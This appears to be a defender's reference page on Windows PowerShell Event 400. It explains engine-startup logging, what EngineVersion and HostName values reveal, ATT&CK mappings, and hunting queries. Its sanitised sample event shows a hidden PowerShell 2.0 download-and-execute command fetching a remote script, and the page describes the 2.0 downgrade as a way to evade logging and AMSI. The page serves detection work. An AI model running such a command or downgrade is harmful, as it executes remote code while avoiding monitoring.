Nothing matches that yet. Tell us what you were looking for and it goes on the list.
Windows PowerShell · Event 400
PowerShell started up. This event has been written since PowerShell 2.0, needs no configuration at all, and lands in the old 'Windows PowerShell' log rather than the modern operational one — which makes it the only PowerShell evidence you can count on finding on a machine nobody prepared.
Also written as PowerShell 400powershell engine startup eventEvent ID 400 powershell
PowerShell opened. Windows itself uses it constantly for maintenance, so seeing these on a machine you never open PowerShell on is completely normal.
This is the free tier of PowerShell logging. On a host where script block and module logging were never turned on, Events 400, 403 and 600 in the classic log are what you have. Read EngineVersion first: a 2.0 value means someone got a PowerShell 2.0 engine, which has no script block logging by design, and on a modern Windows build that is a deliberate act rather than an accident.
Sanitised. Addresses come from the RFC 5737 documentation ranges.
Engine state is changed from None to Available.
Details:
NewEngineState=Available
PreviousEngineState=None
SequenceNumber=13
HostName=ConsoleHost
HostVersion=2.0
HostId=0a1b2c3d-0000-0000-0000-00000000abcd
HostApplication=powershell.exe -version 2 -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('https://files.example.invalid/a.ps1')
EngineVersion=2.0
RunspaceId=0a1b2c3d-0000-0000-0000-0000000012ef
PipelineId=
CommandName=
CommandType=
ScriptName=
CommandPath=
CommandLine=Everything else in the log line is context.
5.1.xThe normal Windows PowerShell engine on a current build. 2.0A downgraded engine with no script block logging and no AMSI. On a modern machine this is a red flag, not a compatibility quirk. 4.0 or 3.0An older engine, either a genuinely old machine or a deliberate step down from 5.1. ConsoleHostThe ordinary powershell.exe console. Windows PowerShell ISE HostThe scripting editor. ServerRemoteHostArrived over PowerShell remoting. Default HostAn application embedding PowerShell rather than launching it. Common in legitimate agents and in tooling that avoids powershell.exe. Most of the time it is one of these.
What gives it awayEngineVersion of 2.0 on a machine running Windows 10 or later. The 2.0 engine cannot log script blocks, which is precisely why it was chosen.
ATT&CK T1562.002What gives it awayHostName of 'Default Host' or an unfamiliar host name, with a HostApplication that is not powershell.exe.
ATT&CK T1059.001What gives it awayHostName of ServerRemoteHost on a machine with no remote administration in its baseline.
ATT&CK T1021.006Get-WinEvent -FilterHashtable @{LogName='Windows PowerShell'; Id=400} -MaxEvents 200 | Where-Object { $_.Message -match 'EngineVersion=2\.' } | Select-Object TimeCreated, MachineName, Message | Format-ListEvent | where EventLog == 'Windows PowerShell' and EventID == 400 | extend EngineVersion = extract(@'EngineVersion=([\d\.]+)', 1, RenderedDescription) | where EngineVersion startswith '2.' | project TimeGenerated, Computer, UserName, RenderedDescriptionindex=wineventlog sourcetype="WinEventLog:Windows PowerShell" EventCode=400 | rex "HostName=(?<hostname>[^\r\n]+)" | stats count by hostname, host | sort countNo, and that is what makes it valuable. Events 400, 403 and 600 are written to the classic 'Windows PowerShell' log by default on every Windows machine, whereas script block logging and module logging both have to be turned on in advance. On a machine nobody prepared, these three are the only PowerShell history you will find.
A PowerShell 2.0 engine was loaded instead of the current one. PowerShell 2.0 predates script block logging and AMSI, so nothing it runs gets recorded or scanned. On a modern Windows build there is rarely a legitimate reason for it, and it is a well-known evasion. Removing the PowerShell 2.0 optional Windows feature closes it off entirely.
Under Applications and Services Logs, then Windows PowerShell — as a top-level entry, not inside the Microsoft folder. The newer Microsoft-Windows-PowerShell/Operational log lives separately under Applications and Services Logs, Microsoft, Windows, PowerShell, Operational. They are different logs with different event IDs and people regularly look in the wrong one.
Yes, on a managed machine. Windows maintenance tasks, software updaters, management agents and antivirus products all invoke PowerShell. The count is not the signal — the EngineVersion, the HostName and the HostApplication command line are.
Last reviewed 6 September 2026